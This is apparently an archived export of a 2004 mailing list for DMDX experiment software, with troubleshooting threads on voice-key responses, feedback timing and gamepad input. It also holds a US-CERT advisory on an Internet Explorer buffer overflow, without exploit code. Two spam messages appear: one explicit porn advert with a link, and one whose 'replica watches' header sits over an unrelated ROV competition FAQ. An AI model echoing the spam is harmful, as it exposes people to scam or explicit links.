1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX (1) Could you tell me why I still got 14 responses at 1998.00 ms? I guess I have a hard time figuring out how the responses of DigitalVox key are recorded because, I think, if the responses are taken every time the audio input reaches the threshold, there should be tens of responses with different RTs, not the same RTs as I got. (Maybe you have explained how it works somewhere in the documentation but I simply missed it again!) (2) I probably didn't synchronize my key press and my verbal production as I thought I would. But if subjects do make two responses at the same time, can the computer record both of them simultaneously? Or will it somehow record them serially? > > (2) Could I get one RT each for both keyboard & audio inputs? > > No. You will have to use for that or two items. I recommend the > later. Honestly, I don't mind having tens of responses (like what I just cut-and-pasted above) because I guess I can manually select the key press RT (i.e. 2101.43, +K) and the first DigitalVOX RT (i.e.,1998.00, +DigitalVOX) for later data analysis. I would love to try your suggestion of using two items, but since my study is a language task with motor-interference, I don't really know how to split the item into two and still get response at the same time.... Thanks again! shiaohui",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 17:06:24 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"At 03:18 PM 11/30/2004 -0700, you wrote: >1998.00,+DigitalVOX 2101.43,+K 1998.00,+DigitalVOX 1998.00,+DigitalVOX >1998.00,+DigitalVOX 98.00,+DigitalVOX 1998.00,+DigitalVOX >1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX >1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX >1998.00,+DigitalVOX 1998.00,+DigitalVOX > >(1) Could you tell me why I still got 14 responses at 1998.00 ms? Oh, I see. Because the voice energy is still enough to trigger the digital VOX. >I guess I have a hard time figuring out how the responses of DigitalVox key >are recorded because, I think, if the responses are taken every time the >audio input reaches the threshold, there should be tens of responses with >different RTs, not the same RTs as I got. (Maybe you have explained how it >works somewhere in the documentation but I simply missed it again!) They're different, they differ by microseconds however which isn't enough to show up with the precision that's used by default. >(2) I probably didn't synchronize my key press and my verbal production as I >thought I would. But if subjects do make two responses at the same time, >can the computer record both of them simultaneously? Or will it somehow >record them serially? You'll have to see if the enhanced vox settings can't reduce the frequency that the +DigitalVOX is being sent at. >Honestly, I don't mind having tens of responses (like what I just >cut-and-pasted above) because I guess I can manually select the key press RT >(i.e. 2101.43, +K) and the first DigitalVOX RT (i.e.,1998.00, +DigitalVOX) >for later data analysis. I would love to try your suggestion of using two >items, but since my study is a language task with motor-interference, I >don't really know how to split the item into two and still get response at >the same time.... As long as the VOX is stuffing hundreds of responses in there any design is going to be tough to implement. Don't think anyone's ever really tried to use the VOX with zillion mode before. If you can't reduce the frequency of VOX responses with the enhanced settings then I'll see if I can't clear that code up a bit. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ DISCRIMINATE, v.i. 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",1,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Wed, 01 Dec 2004 13:49:43 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"Hi Jonathan, Thank you for clearing up my confusion about the seemingly identical VOX RTs. I followed your suggestion and tried different combinations in the VOX calibration dialogue (As you will see, I didn't really know what I was doing, so I simply tried different combinations with the audio input ""He seems very happy"" :-P), and here are the findings (examples for each finding are given at the end of the email for your reference): [Finding A]: When the Enhanced VOX box is UNchecked, the RTs looked more like what I expected--""different"" VOX RTs. [Finding B & C & D]: While Enhanced Vox box is checked, adjusting VU, Sib, or enhanced windows ms doesn't seem to help much. So, maybe I can simply uncheck the Enhanced VOX box to make the data file less complicated. The wav files actually sound fine without the box being checked. Since I will not analyze the acoustic details of the wav files (I will only use them to see whether subjects construct a grammatical sentence using the words given to them) I guess the quality of these files doesn't really matter. But I do need the RTs from the VOX to see whether motor response interferes with subjects' verbal response. By unchecking Enhanced VOX, am I losing the accuracy for VOX RTs? > As long as the VOX is stuffing hundreds of responses in there any design > is going to be tough to implement. Don't think anyone's ever really tried > to use the VOX with zillion mode before. If you can't reduce the frequency > of VOX responses with the enhanced settings then I'll see if I can't clear > that code up a bit. As you will see in the data summary below, there are still quite a few responses in the azk file. It would help A LOT if you could write something to pick out relevant responses (i.e., the first VOX RT and the keyboard response)! But of course, if you think that's not necessary because not too many people are using the VOX with zillion mode, I totally understand and will do that manually myself. :-) In addition to the findings I just listed, I also found a problem in the output file regarding the keyboard response--even though I have in item 2, when I pressed ""J"", the RT always showed up positive. +1 ""sentence1"" / ""sequence 1""/*!; +2 ""sentence1"" / ""sequence 1""/*!; Could you let me know what the problem might be? Thank you for being so patient, Jonathan. No matter whether you could help me with the output file, you have already helped a lot and I really appreciate it! :-) best, shiaohui _________________________ Data Summary [FINDING A] When the enhanced vox box is UNCHECKED, the RTs looked more like what I expected. (1) Enhanced VOX checked VU 25% Sib 75% 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 1211.32,+J 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX (2) Enhanced VOX unchecked VU 25% Sib 100% (automatic) 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 571.00,+DigitalVOX 1371.18,+J 586.00,+DigitalVOX 586.00,+DigitalVOX 586.00,+DigitalVOX 586.00,+DigitalVOX 586.00,+DigitalVOX 586.00,+DigitalVOX (3) Enhanced VOX unchecked VU 50% Sib 100% (automatic) 128.00,+DigitalVOX 128.00,+DigitalVOX 128.00,+DigitalVOX 129.00,+DigitalVOX 129.00,+DigitalVOX 129.00,+DigitalVOX 131.00,+DigitalVOX 131.00,+DigitalVOX 224.00,+DigitalVOX 227.00,+DigitalVOX 227.00,+DigitalVOX 227.00,+DigitalVOX 227.00,+DigitalVOX 1375.17,+J 227.00,+DigitalVOX (4) Enhanced VOX unchecked VU 100% Sib 100% (automatic) 228.00,+DigitalVOX 230.00,+DigitalVOX 291.00,+DigitalVOX 586.46,+J 340.00,+DigitalVOX 340.00,+DigitalVOX 341.00,+DigitalVOX 400.00,+DigitalVOX 418.00,+DigitalVOX 484.00,+DigitalVOX 484.00,+DigitalVOX 485.00,+DigitalVOX 487.00,+DigitalVOX 487.00,+DigitalVOX 487.00,+DigitalVOX 493.00,+DigitalVOX 529.00,+DigitalVOX 529.00,+DigitalVOX 530.00,+DigitalVOX 530.00,+DigitalVOX 582.00,+DigitalVOX [FINDING B] Enhanced VOX checked. Sib kept constant while VU varied--doesn't help much. (1) Enhanced VOX checked VU 100% Sib 100% Item 1 1125.64,+J Item 2 684.29,+J No response for DigitalVOX (no trigger sign appearing in VOX calibration) (2) Enhanced VOX checked VU 75% Sib 100% 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 1153.94,+J 481.00,+DigitalVOX 481.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX (3) Enhanced VOX checked VU 50% Sib 100% 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 650.87,+J 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX [FINDING C] Enhanced VOX checked. VU kept constant while Sib varied--doesn't help much (1) Enhanced VOX checked VU 50% Sib 50% 0.00,+DigitalVOX 167.11,+J 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX 0.00,+DigitalVOX (2) Enhanced VOX checked VU 50% Sib 75% 709.00,+DigitalVOX 709.00,+DigitalVOX 972.22,+J 709.00,+DigitalVOX 709.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX 710.00,+DigitalVOX (3) Enhanced VOX checked VU 50% Sib 100% 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 650.87,+J 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX 231.00,+DigitalVOX [FINDING D] Enhanced VOX checked. VU & Sib kept constant, enhanced windows ms varied--doesn't help much. (pls compare 1a with 1b, 2a with 2b) (1a) enhanced windows ms 100 VU 25% Sib 75% 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 384.02,+J 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX 52.00,+DigitalVOX (1b) Enhanced windows ms 1 VU 25% Sib 75% 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 1211.32,+J 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX 389.00,+DigitalVOX (2a) Enhanced windows ms 100 VU 75% Sib 100% 341.65,+J 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX 1283.00,+DigitalVOX (2b) Enhanced windows ms 1 VU 75% Sib 100% 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 481.00,+DigitalVOX 1153.94,+J 481.00,+DigitalVOX 481.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX 532.00,+DigitalVOX",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Dec 2004 15:42:48 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"At 01:49 PM 12/1/2004 -0700, you wrote: >So, maybe I can simply uncheck the Enhanced VOX box to make the data file >less complicated. The wav files actually sound fine without the box being >checked. No VOX setting will change the sound that is recorded beyond where it starts recording. > Since I will not analyze the acoustic details of the wav files (I >will only use them to see whether subjects construct a grammatical sentence >using the words given to them) I guess the quality of these files doesn't >really matter. But I do need the RTs from the VOX to see whether motor >response interferes with subjects' verbal response. By unchecking Enhanced >VOX, am I losing the accuracy for VOX RTs? No, just a different VOX algorithm, it's in the documentation. >As you will see in the data summary below, there are still quite a few >responses in the azk file. It would help A LOT if you could write something >to pick out relevant responses (i.e., the first VOX RT and the keyboard >response)! But of course, if you think that's not necessary because not too >many people are using the VOX with zillion mode, I totally understand and >will do that manually myself. :-) Only one is and it's you AFAIK. But it makes no sense having the VOX present thousands of responses so I'll look at it. >In addition to the findings I just listed, I also found a problem in the >output file regarding the keyboard response--even though I have in >item 2, when I pressed ""J"", the RT always showed up positive. > > > > >+1 ""sentence1"" start> / ""sequence 1""/*!; >+2 ""sentence1"" start> / ""sequence 1""/*!; > >Could you let me know what the problem might be? Zil will only look at the first response and that's the +DigitalVOX which is correct. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ DISCRIMINATE, v.i. To note the particulars in which one person or thing is, if possible, more objectionable than another. - Ambrose Bierce The Devil's Dictionary",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 01 Dec 2004 18:01:11 -0500",US-CERT Technical Cyber Security Alert TA04-336A -- Update for Microsoft Internet Explorer HTML Elements Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-336A Update for Microsoft Internet Explorer HTML Elements Vulnerability Original release date: December 1, 2004 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows systems running * Internet Explorer versions 6 and later (see MS04-040 for affected software and components) * Other programs that host the WebBrowser ActiveX control Overview Microsoft Security Bulletin MS04-040 contains an update to fix a buffer overflow vulnerability in Internet Explorer. I. Description TA04-315A describes a buffer overflow vulnerability in Microsoft Internet Explorer HTML elements that could allow a remote attacker to execute arbitrary code. Note that any program that hosts the WebBrowser ActiveX control could be affected. Microsoft Security Bulletin MS04-040 contains an update to fix this vulnerability. The vulnerability is described in further detail in VU#842160. II. Impact By convincing a user to view a specially crafted HTML document (e.g., a web page or an HTML email message), an attacker could execute arbitrary code with the privileges of the user. The attacker could also cause IE to crash. Reports indicate that this vulnerability is being exploited by malicious code referred to as MyDoom.{AG,AH,AI} or Bofra. III. Solution Install an update Install the appropriate update according to Microsoft Security Bulletin MS04-040. For additional information about the update, including possible adverse effects, please see Microsoft Knowledge Base articles 889293 and 889669. Appendix A. References * Microsoft Security Bulletin MS04-040 - * MS04-040: Cumulative Security Update for Internet Explorer (IE 6.0 SP1) - * An update rollup is available for Internet Explorer 6 SP1 - * US-CERT Technical Cyber Security Alert TA04-315A - * Vulnerability Note VU#842160 - * About the Browser (Internet Explorer - WebBrowser) - _________________________________________________________________ Feedback can be directed to the authors: Will Dormann and Art Manion. Send mail to . Please include the Subject line ""TA04-336A Feedback VU#842160"". _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Revision History December 1, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQa5IqhhoSezw4YfQAQK9ZAf7BHn69m5KRp64ePmJii0a1UCmZLimEdoF 16f11YLjUZljUvCjDD21pPv0jiPYY5cmFcHXZdlpovu/x6FnxuNvmV0GUYGENy27 qSzBt6aHc2oAHsouxb77x9ZIlg/k6+yjX82HqcR9+ITIXDx5SfTEz4jJsCJ86I7y UTZqpMSQIniE8QDJ2VsoVnLylvC1RqgUCEXf+/526XDu/udIpQ+pahuewNUy+bgH cj28U7WnjEAI9X/dgmCKu9znTtSfFL0Lm1YxDvF/tH1+q/9z9KmdldT16HbGPjJO K0xbbFkpgKy9apXTF3MOzlb/ehXMXLgOwV37IXCD49TAhQy2FBe5CQ== =w9cf -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Dec 2004 13:56:20 -0700",[DMDX] DMDX 3.1.2.1," This release of DMDX rectifies an oversight where the +DigitalVOX response is repeatedly presented. Hasn't been a problem till the recent use of zillion responses with the VOX. The code was intended to be in there and indeed part of it was, it's just that not all of it was fully implemented -- now it is. That's the x.x.x.1 part of the release, the x.x.2.x part of the release is a rather substantial set of changes made in tracking down a crash here that no one should notice but you never can tell. Changes include fixes in the way errors are handled in the real time routines that shouldn't affect anyone because those errors are fatal ones (ie DMDX could lockup up or crash without an error message, now there should be one), DMDX now also pumps the windows message queue dry in between items which could conceivably affect some people that are pushing DMDX to the limit (but I'd be really impressed, longest time I noticed the 900Mhz Duron busy there was still less than a millisecond). Previously it would only process a single message per item in a continuous running job which could cork things up a bit, now it'll get them all. And a few other changes like video service routine not doing anything when the job is terminated because on a slow machine it can wind up doing bad things -- none of which anyone should notice but they are all changes to deep nitty gritty bits of DMDX so be warned. If anything people should notice a significant up tick in the responsiveness of DMDX to ESC when trying to abort continuous running jobs. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Five is a sufficiently close approximation to infinity. - Robert Firth ",0,0 """Stokes H. Swim"" ",Kitty ,"Thu, 02 Dec 2004 22:00:27 -0400",View our Wholesale Replica ////atches Today!,"REPLICA //ATCHES BAZAAR! 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I've organized them into Explorer and Ranger. I see that there are some new questions posted to the FAQs message board - I'll get to those now! Thanks! Jill EXPLORER 1 - What material is the ""science package"" made from - wood, plastic? The science package will be made of wood attached to a PVC frame. 2 - What is the drawer made from? Is it on drawer slides? The drawer is also made of wood attached to a PVC frame. The drawer will slide open, but may not necessarily be built on drawer slides. We will send out the amount of force needed to pull the drawer out of the science package as soon as that data is available. 3 - Will all of the Explorer data probe rings be oriented in the same way and be oriented that way for ALL teams? The data probes will be oriented so the rings are facing outward, towards the drawer opening for ease of capture. They will be oriented the same way for all teams. 4 - Will the data probes stand up on their own? Yes, the probes will stand upright, with the ring on top, on their own. Weight and foam inside the probes will help them keep this orientation. The probes will be slightly negatively buoyant as well. 5 - What are the inside dimensions of the drawer? The inside dimensions of the drawer will be approximately 55 cm long and 15 cm high, plus another 10 cm of open space at the top. The drawer will be approximately 35 cm in depth, but it will only be able to be pulled out 30 cm from the science package. 6 - Will the science package serve as the junction box for the Ranger Mission 2 or will there be a different prop? If it is a different prop, what will it be made from? The science package is a different prop than the junction box. The junction box for Ranger mission 2 will be constructed from a milk crate. There may be wooden sides attached to the milk crate. RANGER 1 - Will the communication probe be positive or negatively buoyant? In other words, will the 1/2 inch PVC pipe be full of air, have weights in it, or will it be vented so that it floods with water and sinks like other PVC that is not capped off completely? The communications probe will be negatively buoyant, but as stated, it will be less than 500 g in water. It will be built so that it sits upright in water (negatively buoyant overall, but the ring portion will be more positively buoyant than the bottom attachment portion). 2 - The diagram only shows one cap on the communication probe, is the other end open? Both ends of the communications probe have endcaps on them. The top end has a ring attached to the endcap. 3 - What is the 1 inch diameter ring made from on the communication probe? The ring is also made of PVC. 4 - How does this ring attach to the communication probe? The ring is attached with a screw (very securely) to the communication probe. 5 - Is the ring fixed in a solid upright position or does it move? The ring is fixed in a static position. It will not move or rotate around the communication probe. 6 - What is the front end of the instrument module made from? In other words, what is the velcro actually attached to? The front end of the instrument module is PVC with wood attached to the PVC. The Velcro is attached to this outer wooden layer. 7 - What will the mock telescope be made of? Plastic. 8 - Will the mock telescope be fixed in position or will it float in the pool? It will be fixed to the bottom of the pool. It will be immobile. 9 - What is the orientation for the valve? Will the handle, and therefore the water flow, be vertical and pointing towards the water's surface? Or will the handle be horizontal and aligned with the bottom of the pool? The handle will be oriented horizontally and aligned with the bottom of the pool. 10 - How will the 1/2 inch ball valve/hose combination be secured and fixed so that it doesn't move when we try to turn it? The valve will be suspended between two milk crates. It will have sufficient supports and braces so that it will not move when an ROV pushes on it. The milk crates will be far enough away so that they do not interfere with the ROV operation of closing the valve. Jill Zande Outreach Director & ROV Competition Coordinator Marine Advanced Technology Education (MATE) Center Monterey Peninsula College 980 Fremont Street Monterey, CA 93940 ph (831) 646-3082 fax (831) 646-3080 e-mail jzande@marinetech.org web site www.marinetech.org",0,1 Chris Schmidt ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 2004 08:41:15 -0400",Young bewitching virginss at haardcore Porno.," resplendent Just Sluts and beauteous Schoolgirl from Your dreeam! http://kissanonline.info/fps2porn.htm?iSPhfd.fX,hj REEMOVE http://kissanonline.info ",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Dec 2004 15:11:20 +0000",[DMDX] default feedback duration,"Hi. I was wondering what the default duration for feedback was. Is it in the documentation somewhere and have I just missed it? Is it still the case that feedback durations may be a bit variable as mentioned in the help files >While theoretically you could leave the feedback enabled as it should have >a constant display interval I don't think it's ever been put to the acid >test and who knows what you'd have to do with the delay value: Also, does the last bit of the sentence above mean that feedback display times can interact with delay times somehow? Thanks - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Dr. Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Dec 2004 09:45:00 -0700",[DMDX] Re: default feedback duration,"At 03:11 PM 12/7/2004 +0000, you wrote: >Hi. > >I was wondering what the default duration for feedback was. Is it in the >documentation somewhere and have I just missed it? Don't think it's ever been documented as it's in ticks and the duration of a tick depends on display mode. #define FB_DELAY 2 /* delay of feedback signal */ #define FB_DUR 35 /* duration of feedback message (default) */ >Is it still the case that feedback durations may be a bit variable as >mentioned in the help files No, it'll always be 35 ticks unless you change it. The delay before the feedback is likely to be longer than 2 ticks if your machine can't assemble the display that quickly though. >>While theoretically you could leave the feedback enabled as it should >>have a constant display interval I don't think it's ever been put to the >>acid test and who knows what you'd have to do with the delay value: > >Also, does the last bit of the sentence above mean that feedback display >times can interact with delay times somehow? Other than that they sum, no. But I'm not going to guarantee that a fixed ISI is possible with feedback till I tear the code apart. Can't see the point personally as feedback is usually contingent upon a response. Basically if you care that much about feedback duration and it's delay you need to be writing your own feedback routines as outlined in the branching documentation. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Five is a sufficiently close approximation to infinity. - Robert Firth ",0,0 Leonardo Lancia ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 09:58:19 +0100",[DMDX] strange input device problem,"Dear all, I have a strange problem with the USB gamepad we have adapted here at the lab in order to have a cheap button box. the test in time DX gave me the following name for it: 2 asse 12 pulsante game pad and the diagnostic window after having rcognized mouse and keyboard recognize it as 2 asse 12 pulsante game pad which is the correct name. But after It tells me: input device <2> selection failed mi setting line in the itam file was the following ( with the full name for the box and not only ""2""): I tried to remove the mouse but it still doesn't work. I think that in some way it depends on the fact that the device's name hase spaces in it. If someone facing this problem has been able to solve it or has some suggestion to give me i would appreciate the help. Thank you in advance, Leonardo Lancia",0,0 Leonardo Lancia ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 10:06:05 +0100",[DMDX] errata corrige for the strange problem with the input device,"In the message i sent, my first line contained two errors ""gamepad"" instead of ""game pad"" and a doubled space after the word ""asse"". Obviously fixing these errors the message gived me by DmDx did not change. Thank you again, Leonardo Lancia",0,0 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 09:35:13 +0000",[DMDX] Re: errata corrige for the strange problem with the input device,"At 09:06 08/12/2004, you wrote: >In the message i sent, my first line contained two errors ""gamepad"" instead of ""game pad"" and a doubled space after the word ""asse"". Obviously fixing these errors the message gived me by DmDx did not change. > > Hi Leonardo, try putting quotes around the name: , or possibly . something like that should work, Gareth --------------------------------------------------------------------------- Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Office: Psychology, C226 Email: g.gaskell@psych.york.ac.uk Home page: http://www-users.york.ac.uk/~mgg5/ Research group: http://www.york.ac.uk/res/prg/ ----------------------------------------------------------------------------",0,1 Leonardo Lancia ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 11:34:07 +0100",[DMDX] Re: errata corrige for the strange problem with the input device,"Hi all, First of all, thank you very much Gareth for your suggestion it worked. Second I am still having problems with this input box, now it has been recognized by DmDx but two of the buttons ( they where called by timeDx ""Asse X"" and ""Asse Y"") are not recognized by DmDx. As Gareth suggested me in the case of button box name recognition, I have tried to use quotes but in this case it didn't work. Moreover with the other buttons DmDx didn't collect any answer, even if while checking he didn't give me any error. Thank you for any kind of suggestion, Leonardo ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 08:21:55 -0700",[DMDX] Re: strange input device problem,"At 09:58 AM 12/8/2004 +0100, you wrote: >input device <2> selection failed > >mi setting line in the itam file was the following ( with the full name >for the box and not only ""2""): > > > +Pulsante 1> 900, 900, 16, 0> You need to use quotes around names with spaces on them anywhere in DMDX (it's in the documenatation): >I tried to remove the mouse but it still doesn't work. I think that in >some way it depends on the fact that the device's name hase spaces in it. > >If someone facing this problem has been able to solve it or has some >suggestion to give me i would appreciate the help. You'll also have real trouble is the names of the buttons on the game pad are the same as the names of the buttons on the mouse, you will have to not include the mouse. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you do not change your direction, you may end where you are headed.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 08:24:40 -0700",[DMDX] Re: errata corrige for the strange problem with the input device,"At 11:34 AM 12/8/2004 +0100, you wrote: >Hi all, >First of all, thank you very much Gareth for your suggestion it worked. > >Second I am still having problems with this input box, now it has been >recognized by DmDx but two of the buttons ( they where called by timeDx >""Asse X"" and ""Asse Y"") are not recognized by DmDx. Those are axes and are not used by DMDX unless you want to use a pointing device and even then I doubt that they would be as they are likely to be relative axes and DMDX needs absolute ones -- and they don't function as buttons even when <2did> is used. >As Gareth suggested me in the case of button box name recognition, I have >tried to use quotes but in this case it didn't work. >Moreover with the other buttons DmDx didn't collect any answer, even if >while checking he didn't give me any error. You'll have to drop the mouse if it's got the same button names as the game pad. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you do not change your direction, you may end where you are headed.",0,0 Leonardo Lancia ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 2004 16:46:50 +0100",[DMDX] Problems with the input button box solved,"Dropping the mouse now it works properly. Thank you all for all this assistance, I have to say that a user group like this one... I stop here but you all are wanderfull. Leonardo ",0,0 Nicholas Riches ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Dec 2004 17:20:07 +0000",[DMDX] sound file query,"Hi, Does anyone know any way to interrupt a sound file when a key is pressed? (I'm trying to develop a version of the Auditory Moving Window paradigm where each time a button is pressed a new word begins). Thanks Nick Riches Kings College London --------------------------------- Win a castle 